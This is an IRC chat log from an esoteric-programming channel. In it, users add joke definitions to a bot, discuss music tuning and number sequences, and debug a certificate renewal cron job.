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11:38:50 <HackEgo> napkin//A complement of small lemon-soaked paper napkins is essential for the comfort, refreshment, and hygiene of the passengers during the journey.
11:40:28 <b_jonas> wait, whose is that? I don't recall adding it, even though it's in my style
11:40:52 <HackEgo> 8690:2016-07-04 <wob_jonäs> slashlearn napkin/A complement of small lemon-soaked paper napkins is essential for the comfort, refreshment, and hygiene of the passengers during the journey.
11:41:23 <HackEgo> insurance//Insurance is a closed loop.
11:41:24 <HackEgo> 979) <elliott> prediction: kmc never comes back * kmc has joined #esoteric
11:43:37 <boily> Selloaser, b_jellonas.
11:43:47 <HackEgo> dark water//Dark water is an instadeath terrain type in Game Boy games that would represent lava if you had lots of imagination.
11:45:11 <b_jonas> That one is mine, and I still stand by it.
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11:52:01 <HackEgo> ppntat//Pen Pineapple Nutmeg Tamarind Apple Tangerine
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12:34:05 <Taneb> Sounds like an 80s dance song
12:43:23 <HackEgo> peng is a computer network administration software utility used to test the reachability of a destination host on an Internet Protocol (IP) network, and the destination host's ability to reach the originating host.
12:47:10 <Cale> b_jonas: probably a reference to https://www.youtube.com/watch?v=Ct6BUPvE2sM
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13:10:57 <HackEgo> 10594:2017-04-09 <rdocöc> le//rn peng//\x02peng\x02 is a computer network administration software utility used to test the reachability of a destination host on an Internet Protocol (IP) network, and the destination host\'s ability to reach the originating host.
13:16:06 <HackEgo> [wiki] [[Special:Log/newusers]] create * HopefulO * New user account
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13:39:16 <shachaf> oerjan: one of the puzzles in the witness is p. much Loopy hth
13:39:49 <shachaf> so maybe you should play the witness hth
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14:17:05 <yorick> you guys have seen wysiscript, right?
14:18:21 <b_jonas> yorick: I think I created the article for it
14:19:19 <b_jonas> I don't like it, but it's worth an article on the wiki anyway
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14:19:43 <b_jonas> shachaf: what's up with the wiki? is it the read-only mirror again?
14:20:21 <shachaf> I don't know. I don't even have an account on the wiki.
14:29:51 <fizzie> It should be up as usual.
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14:49:22 <b_jonas> I'm going to use my computer to make a large amount of boring numeric computation
14:54:16 <rdococ> How dare you. Computers have feelings too.
15:05:45 <rdococ> `le//rn fly spray//Fly spray is a spray made of flies. Useful for extinguishing pests, such as humans, or in the case of the more specific bug spray, programs.
15:05:47 <HackEgo> Learned 'fly spray': Fly spray is a spray made of flies. Useful for extinguishing pests, such as humans, or in the case of the more specific bug spray, programs.
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16:12:30 <HackEgo> olist 1070: shachaf oerjan Sgeo FireFly boily nortti b_jonas
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18:26:17 <\oren\> Apparently United Airlines overbooked a flight, so they beat the crap out of a black guy and dragged him off the plane to make room
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18:44:58 <\oren\> Fly the Fascist Skies, with United Airlines
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19:21:57 <rdococ> . o O ( Does having a long lifespan make you temporally fat? )
19:22:01 <HackEgo> Fats are one of the four basic classes of nutrients. The other three are sugars, coffee and alcohol.
19:24:24 <rdococ> `le//rn lifespan//Your lifespan is how fat you are in the time dimension. The temporally fattest person in the world has a temporal length of 122 years.
19:24:26 <HackEgo> Learned 'lifespan': Your lifespan is how fat you are in the time dimension. The temporally fattest person in the world has a temporal length of 122 years.
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19:29:44 <\oren\> interestingly, the fatter you are in space, the less fat you tend to be in time
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19:34:07 <alercah> Has anyone thought about adding exception handling to INTERCAL
19:34:14 <alercah> specifically for when the compiler takes exception to your code
19:34:56 <zzo38> Compile-time exception handling? Actually, yes, but not the details
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19:44:49 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch [<output-file>] <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
19:44:57 <rdococ> That really helps, HackEgo.
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19:47:36 <rdococ> `learn_append lifespan Interestingly, the fatter you are in space, the less fat you tend to be in time.
19:47:38 <HackEgo> Learned 'lifespan': Your lifespan is how fat you are in the time dimension. The temporally fattest person in the world has a temporal length of 122 years. Interestingly, the fatter you are in space, the less fat you tend to be in time.
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20:38:43 <rdococ> `le//rn cyanide//Cyanide is the murder of the color cyan.
20:38:45 <HackEgo> Learned 'cyanide': Cyanide is the murder of the color cyan.
20:39:07 <moony> > Rewrite HackEgo in rust
20:39:09 <lambdabot> <hint>:1:17: error: parse error on input ‘in’
20:39:55 <rdococ> `le//rn tip//A tip is [ $ ] if you're American, and [ £ ] if you're British.
20:39:57 <HackEgo> Learned 'tip': A tip is [ $ ] if you're American, and [ £ ] if you're British.
20:41:58 <moony> brb, porting rustc to hackego
20:43:23 <\oren\> a tip is if you're japanese
20:44:11 <\oren\> rdococ: people in Japan don't expect or give tips
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21:01:59 <rdococ> `slwd tip//s,and ,,;s,.,\, and if you're Japanese.
21:02:00 <HackEgo> /bin/sed: -e expression #1, char 45: unterminated `s' command
21:02:06 <rdococ> `slwd tip//s,and ,,;s,.,\, and if you're Japanese.,
21:02:08 <HackEgo> tip//, and if you're Japanese. tip is [ $ ] if you're American, [ £ ] if you're British.
21:02:58 <rdococ> `le//rn tip//A tip is [ $ ] if you're American, [ £ ] if you're British, and if you're Japanese.
21:03:00 <HackEgo> Relearned 'tip': A tip is [ $ ] if you're American, [ £ ] if you're British, and if you're Japanese.
21:06:09 <rdococ> `le//rn palindrome//A palindrome is a word that remains the same if you take it to the mirror dimension, and then take each individual letter back to the normal dimension separately.
21:06:11 <HackEgo> Learned 'palindrome': A palindrome is a word that remains the same if you take it to the mirror dimension, and then take each individual letter back to the normal dimension separately.
21:08:40 <rdococ> `? eight thousand and eight
21:08:41 <HackEgo> eight thousand and eight? ¯\(°_o)/¯
21:15:27 <rdococ> `le//rn five million, three hundred and eighteen thousand and eight//Five million, three hundred and eighteen thousand and eight is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * gtGGBEEEOtOBB.I.
21:15:29 <HackEgo> Learned 'five million, three hundred and eighteen thousand and eight': Five million, three hundred and eighteen thousand and eight is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * gtGGBEEEOtOBB.I.
21:15:50 <rdococ> `le//rn 5318008//5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * gtGGBEEEOtOBB.I.
21:15:52 <HackEgo> Learned '5318008': 5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * gtGGBEEEOtOBB.I.
21:16:36 <rdococ> `le//rn 5318008//5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * ghGGBEEEOhOBB.I.
21:16:37 <HackEgo> Relearned '5318008': 5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down spells L-vOI * ghGGBEEEOhOBB.I.
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21:16:54 <rdococ> `le//rn 5318008//5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down on a calculator spells L-vOI * ghGGBEEEOhOBB.I.
21:16:56 <HackEgo> Relearned '5318008': 5318008 is a famous number because its reciprocal is 1.8804033389946 * 10^-7, which when upside down on a calculator spells L-vOI * ghGGBEEEOhOBB.I.
21:17:19 <rdococ> `forget five million, three hundred and eighteen thousand and eight
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21:30:21 <HackEgo> Topologically speaking, the Earth has been a coffee mug ever since that hole to China was dug.
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21:34:19 <rdococ> `learn_append earth Even before that, as long as there has been any tunnel connecting two points on the surface, or a hollow cylinder like a toilet roll, Earth has been a coffee mug.
21:34:21 <HackEgo> Learned 'earth': Topologically speaking, the Earth has been a coffee mug ever since that hole to China was dug. Even before that, as long as there has been any tunnel connecting two points on the surface, or a hollow cylinder like a toilet roll, Earth has been a coffee mug.
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21:41:05 <rdococ> I can understand it now
21:41:16 <rdococ> probably not when I was younger tho
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22:07:12 <\oren\> the wikipedia page on the archangel gabriel is severely lacking in anime
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22:16:55 <\oren\> http://i2.cdn.cnn.com/cnnnext/dam/assets/170410154644-kusher-bannon-battle-exlarge-169.jpg <-- I like cnn's fanart
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22:55:01 <HackEgo> foe//the foe is the Field-On Enemy
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23:32:37 <lambdabot> CYUL 102223Z 23016G25KT 15SM -SHRA BKN070 BKN130 OVC200 23/09 A2983 RMK AC5AC2CI1 CVCTV CLD EMBD SLP104 DENSITY ALT 1100FT
23:33:10 <boily> first thunderstorm of the year!
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01:09:51 <HackEgo> An apple is a sweet fruit grown on trees in temperate areas. Also an unimportant Californian rectangle factory.
01:09:59 <HackEgo> An apple is a sweet fruit grown on trees in temperate areas. Also an unimportant Californian rectangle factory.
01:10:23 <HackEgo> lambdabot is a fully functional bot. just don't ask about @src.
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02:32:07 <oerjan> shachaf: what is the witness twh
02:45:23 <quintopia> why does the wisdom for lambdabot say "don't ask about @src"? does it even have a command to post a link to its source?
02:54:25 <oerjan> quintopia: you would know if you'd tried using it enough hth
02:56:40 <oerjan> hm did my bugfix ever get merged
02:57:01 <lambdabot> Source not found. Are you on drugs?
02:57:26 <lambdabot> Source not found. This mission is too important for me to allow you to jeopardize it.
03:01:24 <oerjan> i think int-e got miffed because i refused to use git to squash the commits.
03:02:13 <oerjan> then charitably he forgot about it all.
03:05:40 <HackEgo> Your lifespan is how fat you are in the time dimension. The temporally fattest person in the world has a temporal length of 122 years. Interestingly, the fatter you are in space, the less fat you tend to be in time.
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03:24:27 <HackEgo> Cyanide is the murder of the color cyan.
03:25:40 <oerjan> i had to murder that because it murdered morphology hth
03:28:35 <oerjan> rdococ: it would be cyanicide hth
03:30:35 <oerjan> `learn Morphology is the theory that you can never have enough phở. boily invented it.
03:30:37 <HackEgo> Learned 'morphology': Morphology is the theory that you can never have enough phở. boily invented it.
03:30:58 <oerjan> . o O ( what do you mean i'm hypocritical? )
03:36:05 <oerjan> `forget does this exist
03:36:06 <HackEgo> rm: cannot remove ‘wisdom/does this exist’: No such file or directory \ Forget what?
03:39:09 <HackEgo> does this exist? ¯\(°_o)/¯
03:39:29 <HackEgo> Phở là một món ăn truyền thống của Việt Nam, cũng có thể xem là một trong những món ăn đặc trưng nhất cho ẩm thực Việt Nam.
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03:51:36 <shachaf> oerjan: a computer game int-e was playing hth
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05:36:27 <\oren\> https://www.youtube.com/watch?v=3uAeC9myX04
05:51:45 <\oren\> https://youtu.be/-i10liqh90E?t=4m43s hahahahahahahahahahaha
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05:58:57 <hppavilion[1]> Is there any way of writing numbers- which was ever seriously used- \more\ terrible than Roman Numerals
06:08:00 <Cale> Greek numerals were probably worse
06:08:38 <Cale> Well, I don't know, maybe not
06:08:52 <Cale> At least they were roughly kinda decimal
06:09:24 <Cale> But not positional, they used all different letters for ones, tens, hundreds, and thousands
06:09:37 <Cale> https://en.wikipedia.org/wiki/Greek_numerals#Table
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07:39:47 <hppavilion[1]> A standard relationship between mathematics and music is that, if you take a frequency f, the frequency 2f is just f shifted up an octave
07:40:13 <hppavilion[1]> In general, if you go up by n octaves, you multiply the frequency by (2^n)f, and if n is an integer, you hear the same note
07:40:46 <hppavilion[1]> But... what makes it the same note? If it's that they're harmonics, does that mean that the note with frequency 3f is also the same?
07:42:28 <hppavilion[1]> In particular, that would make it the same note ~1.5849625007211563 octaves up
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08:44:22 <Cale> 3f would be the "perfect fifth" an octave up.
08:52:12 <Jafet> @ask hppavilion[1] see https://en.wikipedia.org/wiki/Bohlen–Pierce_scale
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08:58:12 <Jafet> @ask hppavilion[1] the effect is called octave equivalence, for which google suggests http://www.neuroscience-of-music.se/Octave-History.htm
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11:21:17 <HackEgo> flagpole//A flagpole is like a tadpole, but with a flag on top.
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14:50:03 <HackEgo> [wiki] [[Special:Log/newusers]] create * Okx * New user account
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14:58:51 <HackEgo> [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51654&oldid=51650 * Okx * (+173) introduce myself
14:58:57 <HackEgo> [wiki] [[BrainfuckSubstitution]] N https://esolangs.org/w/index.php?oldid=51655 * Okx * (+2900) Created page with "BrainfuckSubstitutor (also known as ''BF Substitutor'' or ''BFS'') is an extension of Brainfuck that allows you to substitute parts of the code for variables. There are two w..."
14:59:34 <HackEgo> [wiki] [[Special:Log/move]] move * Okx * moved [[BrainfuckSubstitution]] to [[BrainfuckSubstitutor]]: wrong name
14:59:51 <HackEgo> [wiki] [[Special:Log/move]] move * Okx * moved [[BrainfuckSubstitutor]] to [[Brainfuck Substitutor]]
14:59:58 <HackEgo> [wiki] [[Brainfuck Substitutor]] https://esolangs.org/w/index.php?diff=51660&oldid=51658 * Okx * (+1)
15:00:45 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51661&oldid=51636 * Okx * (+28)
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17:39:19 <\oren\> http://www.capitol.state.tx.us/BillLookup/History.aspx?LegSess=85R&Bill=HCR75
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17:54:25 <HackEgo> A tadpole is like a flagpole, but underwater, and also a tad shorter.
17:57:29 <HackEgo> A mapole is a thwackamacallit built from maple according to Canadian standards. The army version includes a spork, a corkscrew and a moose whistle. A regulatory mapole measures 6’ by 12 kg, ±0.5 inHg.
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17:58:17 <HackEgo> wisdom/flagpole wisdom/mapole wisdom/oklopol wisdom/poland wisdom/politics wisdom/rholypoly wisdom/tadpole wisdom/topology wisdom/typology
17:58:31 <HackEgo> Topology is another name for topos theory.
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18:38:30 <HackEgo> [wiki] [[Special:Log/delete]] delete * Oerjan * deleted "[[BrainfuckSubstitution]]": Obsolete redirect
18:38:55 <HackEgo> [wiki] [[Special:Log/delete]] delete * Oerjan * deleted "[[BrainfuckSubstitutor]]": Obsolete redirect
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19:08:25 <rdococ> apparently the certificate is invalid?
19:15:31 <\oren\> "Urging Texans not to use the flag emoji of the Republic of Chile when referring to the Texas flag."
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22:06:40 <hppavilion[1]> I think migraines are, verifiably, The Worst Thing™
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22:06:52 <lambdabot> Jafet asked 13h 14m 39s ago: see https://en.wikipedia.org/wiki/Bohlen–Pierce_scale
22:06:52 <lambdabot> Jafet asked 13h 8m 39s ago: the effect is called octave equivalence, for which google suggests http://www.neuroscience-of-music.se/Octave-History.htm
22:11:01 <hppavilion[1]> Jafet: My first thought when I read the second was that Google— the company— had at some point suggested people read that for some reason.
22:13:32 <hppavilion[1]> The Programmer's Scale has the middle C equivalent at 256 Hz (of course) and 16 notes between octaves
22:18:10 <int-e> > (2**(1/3),5/4,2**(5/12),4/3,2**(7/12),3/2)
22:18:12 <lambdabot> (1.2599210498948732,1.25,1.3348398541700344,1.3333333333333333,1.49830707687...
22:18:53 <int-e> this is basically why we have that 12 tone scale, it has close approximations to those harmonics
22:21:55 <int-e> for a 16 tone scale, you'd have 3/2 as 1.477, 4/3 as 1.354, 5/4 as 1.189...
22:25:43 <int-e> so 3/2 is the perfect fifth and 4/3 the perfect fourth, hmm hmm.
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22:29:38 <int-e> https://en.wikipedia.org/wiki/12_equal_temperament#Comparison_to_just_intonation
22:31:01 <int-e> There's a fascinating list of equal temperament scales that have, apparently, been used, with 12 (standard), 15, 17, 19, 22, 24, 31, 34, 41, 53, 58, and 72 intervals.
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23:46:38 <\oren\> how are you gentlemen! all your base are belong to us. you have no chance to survive make your time
23:46:43 <\oren\> https://www.youtube.com/watch?v=6ssZ1KdueTU
23:54:35 <rdococ> Has anyone seen the sequence 1 + 1 + 2 + 3 + 6 + 10 ...?
23:57:18 <lambdabot> https://oeis.org/A001405 a(n) = binomial(n, floor(n/2)).
23:57:18 <lambdabot> [1,1,2,3,6,10,20,35,70,126,252,462,924,1716,3432,6435,12870,24310,48620,9237...
23:58:25 <lambdabot> https://oeis.org/A048888 a(n) = Sum{T(m,n+1-m): m=1,2,...,n}, array T as in ...
23:58:25 <lambdabot> [0,1,2,4,7,13,23,42,76,139,255,471,873,1627,3044,5718,10779,20387,38673,7356...
23:58:42 <fizzie> If you want partial sums of A001405, that's A036256.
23:59:41 <lambdabot> https://oeis.org/A000045 Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0)...
23:59:41 <lambdabot> [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946,...
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00:01:25 <\oren\> @oeis 1 2 4 7 12 20 33
00:01:28 <lambdabot> https://oeis.org/A000071 Fibonacci numbers - 1.
00:01:28 <lambdabot> [0,0,1,2,4,7,12,20,33,54,88,143,232,376,609,986,1596,2583,4180,6764,10945,17...
00:02:09 <\oren\> @oeis 1 11 111 1111 11111
00:02:10 <lambdabot> https://oeis.org/A002275 Repunits: (10^n - 1)/9. Often denoted by R_n.
00:02:10 <lambdabot> [0,1,11,111,1111,11111,111111,1111111,11111111,111111111,1111111111,11111111...
00:02:12 <rdococ> Is it possible to have infinite series that diverge to uncountable infinity?
00:02:27 <lambdabot> https://oeis.org/A004709 Cubefree numbers: numbers that are not divisible by...
00:02:27 <lambdabot> [1,2,3,4,5,6,7,9,10,11,12,13,14,15,17,18,19,20,21,22,23,25,26,28,29,30,31,33...
00:03:16 <lambdabot> https://oeis.org/A000196 Integer part of square root of n. Or, number of pos...
00:03:16 <lambdabot> [0,1,1,1,2,2,2,2,2,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,6,6...
00:03:22 <lambdabot> https://oeis.org/A000225 a(n) = 2^n - 1. (Sometimes called Mersenne numbers,...
00:03:22 <lambdabot> [0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535,131071,2...
00:03:56 <rdococ> Again, is it possible for infinite series that diverge to uncountable infinity?
00:04:06 <rdococ> Or do they all diverge to countable infinity?
00:04:39 <\oren\> among the integers, it would have to be countable since the set of integers in countable
00:05:20 <\oren\> @oeis 2 1 3 4 5 6 7 8 9
00:05:34 <lambdabot> https://oeis.org/A254524 n is the a(n)-th positive integer having its digitsum.
00:05:34 <lambdabot> [1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,1,3,3,3,3,3,3,3,3,2,1,4,4,4,4,4,4,4,3,2...
00:06:28 <rdococ> @oeis 1 3 2 4 3 5 4 6 5 7 6
00:06:39 <rdococ> @oeis 1 3 2 4 3 5 4 6 5
00:06:45 <lambdabot> Plugin `oeis' failed with: <<timeout>>
00:07:04 <lambdabot> Plugin `oeis' failed with: <<timeout>>
00:07:44 <lambdabot> Plugin `oeis' failed with: <<timeout>>
00:08:20 <lambdabot> Plugin `oeis' failed with: <<timeout>>
00:08:25 <lambdabot> https://oeis.org/A000027 The positive integers. Also called the natural numb...
00:08:25 <lambdabot> [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,...
00:08:46 <\oren\> um.... why did it even LOOK for a b c d
00:09:06 <lambdabot> Plugin `oeis' failed with: <<timeout>>
00:10:29 <lambdabot> https://oeis.org/A000796 Decimal expansion of Pi (or, digits of Pi).
00:10:29 <lambdabot> [3,1,4,1,5,9,2,6,5,3,5,8,9,7,9,3,2,3,8,4,6,2,6,4,3,3,8,3,2,7,9,5,0,2,8,8,4,1...
00:14:23 <rdococ> what I was doing was trying to unravel an "infinite state machine" as I've probably mentioned in the past, and tried to find out whether you would need an uncountably infinite as opposed to countably infinite number of nodes on the data tree.
00:16:43 <rdococ> I think countable but I'm still not sure.
00:16:52 <rdococ> what is everyone else's opinions?
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00:17:43 <rdococ> looks like nobody's around
00:18:45 <rdococ> well, someone did say "among the integers, it would have to be countable since the set of integers in countable" earlier
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00:26:27 <\oren\> what's the "data tree"
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00:29:24 <rdococ> In this context, we're referring to a state machine with the constraint of being presentable in a tree format.
00:31:14 <Remavas> with countably infinite states
00:31:30 <rdococ> A state machine, finite or infinite, is a data tree if and only if it never returns to a previous state, and each state only has two transitions: one into the state, and one out of the state.
00:32:48 <rdococ> Well, beginning and end states may have one transition, but you must be able to get from each state to every other state by tracing the transitions (even if they transition the other way.)
00:34:28 <oerjan> fizzie: esolangs.org's certificate seems to have expired
00:35:57 <oerjan> ais523 keeps making fiendish PPCG challenges
00:36:34 <oerjan> lots of languages have no chance on this one
00:37:18 <oerjan> (and it's still fiendish in the rest)
00:48:45 <rdococ> Can a so-called 'data tree' have an uncountably infinite number of nodes?
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00:50:04 <oerjan> given one node, all the others can be named with a finite path of {left, right, up}s
00:52:36 <rdococ> I wasn't just speaking about binary data trees, btw.
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00:53:07 <rdococ> A data tree with an uncountably infinite number of nodes would probably need an uncountably infinite number of nodes branching from at least one node.
00:54:22 <oerjan> oh the challenge allows functions, might be more plausible then.
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00:57:56 <rdococ> When you put it like that...
00:58:57 <rdococ> also, my definition above was wrong.
01:04:39 <rdococ> `le//rn wan//Wan is the opposite of wan't.
01:04:41 <HackEgo> Learned 'wan': Wan is the opposite of wan't.
01:06:37 <oerjan> more morphologicide, i see
01:06:52 <oerjan> clearly it should be "wa" hth
01:07:41 <oerjan> apparently english already committed that atrocity itself.
01:08:52 <rdococ> Okay, thanks to oerjan, I will now spell can't as can'nt.
01:09:14 <rdococ> ...Whatever. I cann't care less.
01:09:50 <oerjan> of course not, you are approaching the boredom singularity
01:09:52 <rdococ> Can you at least allow me wa? I really don't wa it.
01:10:10 <rdococ> `le//rn wa//Wa is the opposite of wan't.
01:10:12 <HackEgo> Learned 'wa': Wa is the opposite of wan't.
01:10:13 <HackEgo> Wan is the opposite of wan't.
01:11:05 <rdococ> And that, is proof I am nuts. Q.E.D.
01:11:37 <HackEgo> Sanity is the defining property of boily. Taneb invented it.
01:11:50 <HackEgo> rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom.
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01:13:20 <HackEgo> jonathan hoag//Hoag is an art critic.
01:14:16 <oerjan> boily: recent evidence has caused me to suspect you're staying sane by siphoning sanity from rdococ. that's evil!
01:15:24 <HackEgo> Unless you are boily, you are just imagining this wisdom entry.
01:15:49 <rdococ> No, oerjan, I think I was insane when I first joined.
01:16:00 * oerjan hands boily a discount coupon for a minion
01:16:13 <rdococ> Why, otherwise, then, would I be so dumb?
01:16:27 <oerjan> rdococ: maybe you'd like to be boily's minion, then?
01:16:37 <boily> hellørjan, Rellomavas, rdochelloc.
01:17:25 <boily> ♪ would you like to be my miiiinioooon⅝ ♪
01:17:31 <HackEgo> morphologicide? ¯\(°_o)/¯
01:18:04 <rdococ> I do think that morphology should be sacrificed for humor if required.
01:20:11 <oerjan> boily: i'm disappointed that doesn't seem to be an actual song
01:20:39 <boily> morphology is only an arrière-pensée, a smidge to be washed away under pure unfettered language.
01:20:55 <HackEgo> Morphology is the theory that you can never have enough phở. boily invented it.
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01:21:07 <oerjan> why are you dissing your own invention
01:21:21 <boily> `cwlprits morphology
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01:21:56 <rdococ> so now can I have the wisdom entry for cyanide?
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01:22:10 <oerjan> not the one you made yesterday, no.
01:22:23 <rdococ> you allowed the morphologicide in wan :P
01:22:42 <oerjan> because the suffix is -cide.
01:22:55 <oerjan> -ide alone means something different.
01:22:57 <rdococ> Again, you allowed the morphologicide in wan.
01:23:14 <oerjan> only because i thought of "can't".
01:23:19 <rdococ> The joke still retains its humor; it is also brief.
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01:24:12 <rdococ> I think that was a little unnecessary but okay
01:24:16 <oerjan> it smelled like hagb4rd.
01:24:23 <HackEgo> hagb4rd is one spacey fellow. Spaaaaaaaaaaaaaaace.
01:24:33 <HackEgo> Humans come from space. In particular, the part of space that has Earth in it.
01:26:06 <oerjan> although i'm not quite sure this time, but i don't care.
01:26:38 <oerjan> you have to earn your time here before you get to dump swearwords, is my opinion.
01:27:42 <oerjan> `le/rn brevity//syn. "shortness"
01:27:45 <HackEgo> Learned 'brevity': syn. "shortness"
01:30:54 * boily exploits the Québécois Loophole for swearing >:D
01:31:09 <oerjan> boily: you've earned your time hth
01:31:20 <oerjan> although i guess the loophole helps.
01:41:45 <HackEgo> Long is the Chinese word for dragon.
01:50:20 <fizzie> oerjan: The cron job to auto-renew was broken in some way. I thought I fixed it, but now that you mention, I don't think I've seen the monthly emails it's supposed to give out recently.
01:52:40 <oerjan> you review it monthly?
01:52:55 <fizzie> It's a letsencrypt cert, those are only valid for 3 months at a time.
01:53:16 <fizzie> Looks like the file on disk has actually been renewed.
01:53:22 <fizzie> Not Before: Mar 27 12:37:00 2017 GMT
01:53:22 <fizzie> Not After : Jun 25 12:37:00 2017 GMT
01:53:31 <fizzie> Must be something like the webserver not picking it up.
01:54:06 <oerjan> maybe it only reads it when starting up?
01:54:20 <oerjan> and somehow hasn't been down
01:54:21 <fizzie> Yes, that's why I have "sudo /bin/systemctl reload nginx" in the script.
01:54:32 <fizzie> I just did that command manually, and it seems to have worked.
01:54:53 <fizzie> I just don't know why it didn't work from the cron job.
01:55:03 <fizzie> There's been no emails about errors either, as far as I know.
01:55:03 * oerjan gets read of that ugly red address bar
01:55:57 <fizzie> Oh, there are the emails. I haven't actually configured for them to get out of the box.
01:56:38 <fizzie> Oh. It's set -e so it stops on the first "error", and apparently the tool I've been using has said: "Certificates already exist and renewal is not necessary, exiting with status code 1."
01:57:43 <fizzie> It's actually renewed the esolangs.org cert, but then decided not to renew the hackego.esolangs.org one since it was still valid for what it considered long enough.
01:58:33 <fizzie> And because of that didn't call the web server reload thing.
01:59:18 <fizzie> Tricksy. Well, it should stay up to date now.
02:00:21 <fizzie> Looks like there would've been a "--valid_min" option to control what it thinks is long enough. I hope that's >= 1 month by default.
02:01:06 <fizzie> Heh, it's exactly 30 days.
02:02:06 <fizzie> So there's still a possibility of an issue for one day, because I call it the 27th of each month, and it won't renew if it's valid for 30 days but it could be 31 until the next call.
02:02:34 <fizzie> Maybe I should just call more often, given that it has that sort of auto-don't-do-anything-if-valid-enough thing.
02:04:39 <fizzie> ...except then it'd reload the web server unnecessarily every time. Bah.
02:08:02 <rdococ> . o O ( hey dude, why did you cancel me? you do know that with- ) O o .
02:08:16 <HackEgo> . o O ( lol )? ¯\(°_o)/¯
02:18:21 <fungot> boily: trapper: the last day of reckoning, ragnarok. as a passing current, the tickle of undertow. he excelled them even in ancient days they were set, and quickly retreated back, around that corner, i hear it: this is the most spectacular being _baluchitherium_ from the legend that he does not kill him not: then i will order the cook to prepare fresh tripe, tripe ration: if i thought it were a bar of birthday chocolate last hi
02:19:01 <boily> tripe is good. all fuzzy and textureous.
02:27:58 <Zarutian> is there an trump mode one fungot?
02:27:58 <fungot> Zarutian: a crystal plate mail isn't worth wishing for. i hate when that happens. " here!" the bushmen say that a fortune. in one ear. " at your work; your boss know what you're doing right now?
02:28:42 <Zarutian> a crystal plate mail. Not worth the postage and wont stop arrows.
02:29:24 <Zarutian> but could be the cutting edge in armour
02:29:36 <boily> Zarutellon. but crystal plate has an AC of 14 and a GDR of 48%!*
02:29:59 <Zarutian> lends a whole new meaning to 'a knight in shining armour'.
02:30:14 <boily> (* crystal plate armour has an EV penalty of -23. do not apply without enought strength. please consult your physician before attempting an all runer.)
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02:41:43 <oerjan> fizzie: maybe check if any of the files have changed before reloading the web server?
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02:55:17 <oerjan> getting cron to run a command more often than once a month but less often than twice looks annoying.
02:56:26 <oerjan> iiuc you essentially have to copy the entry for all the months/days wanted
02:57:18 <oerjan> except you can probably share february and march.
02:59:12 <oerjan> looks like 30 days cutoff is about the most annoying possible :P
03:16:37 <rdococ> I'm activating the tachyon drives and escaping this black hole of boredom.
03:16:41 <HackEgo> The tachyon is rude and has no style, but gets away with it because of its speed. Taneb will invent it if he ever catches up.
03:16:52 <HackEgo> alcubierre drive? ¯\(°_o)/¯
03:16:53 <\oren\> instead of blocking at the browser or router level, block at the DNS level
03:17:44 <\oren\> we could have a DNS server that redirects advertisment urls to dev null
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03:32:39 <fizzie> oerjan: You can do commas. I just changed it to "37 9 7,17,27 * *".
03:33:04 <oerjan> fizzie: yes, but i said "less than twice a month"
03:33:04 <fizzie> (And since the tool is friendly enough to return 0 when it actually did something, put the webserver restart in an if.)
03:35:53 <fizzie> I'm guessing for more complicated schedules than you can write in the crontab syntax, you'd just have it run often (say daily), and make the script decide.
03:37:06 <fizzie> Huh, my crontab on esolangs.org has a thing that appends echo $(TZ=C date --rfc-3339=seconds | sed -e 's/+00:00$//'): $(/sbin/ifconfig eth0 | grep 'TX bytes') to a file once a day at midnight. I wonder what that's all about.
03:37:27 <fizzie> There's lines in that file from 2014-07-25 onwards.
03:37:55 <fizzie> I'm guessing it was some sort of a poor man's bandwidth logging mechanism.
03:52:52 <pikhq> TZ=C? That seems like a weird way of specifying that time zone.
03:53:27 <pikhq> Per POSIX, that is a timezone that is UTC+0 and named "C".
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05:00:19 <oerjan> hppavilion[2]: *cough*
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06:20:35 <rdococ> Predicted ping timeout... now!
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06:21:11 <rdococ> knew it was coming tho
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07:18:11 <hppavilion[2]> @tell oerjan You should see a doctor if that cough persists
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07:54:29 <hppavilion[1]> I had the Wikipedia article for Gödel's Incompleteness Therems open
07:54:48 <hppavilion[1]> And I glanced at it and thought it said "Gödel's Incompetence Theorems"
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09:48:27 <HackEgo> [wiki] [[Malbolge Unshackled]] M https://esolangs.org/w/index.php?diff=51662&oldid=51388 * Malbranche * (-72) /* Compatibility */
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10:49:43 <wob_jonas> I want some stupid wisdom entry about how the London metro was completely evacuated after terrorists attacked it, and how the underground then behaved as vacuum trains, running with incredible speeds between the terminals as air resistance didn't slow them down.
10:49:54 <wob_jonas> But I'm not sure how to phrase it.
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11:39:03 <HackEgo> rust//Rust is C++ as designed by the makers of Haskell.
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12:06:42 <HackEgo> banana//Bananananananana BATMAN!
12:08:54 <int-e> it's 100% villainous
12:09:37 <int-e> (50% in actuality, 50% by name)
12:10:38 <int-e> . o O ( I just read this: "Lisp doesn't"
12:10:45 <int-e> "have this problem, but only because it throws out the baby with the bathwater" )
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12:25:31 <boily> can babies take showers?
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12:44:39 <b_jonas> I removed another 9 completely unnecessary characters from my golf
12:48:17 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=51663&oldid=51661 * Ais523 * (+21) /* B */ +[[But Is It Art?]]
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13:21:53 <HackEgo> [wiki] [[But Is It Art?]] N https://esolangs.org/w/index.php?oldid=51664 * Ais523 * (+5251) new language!
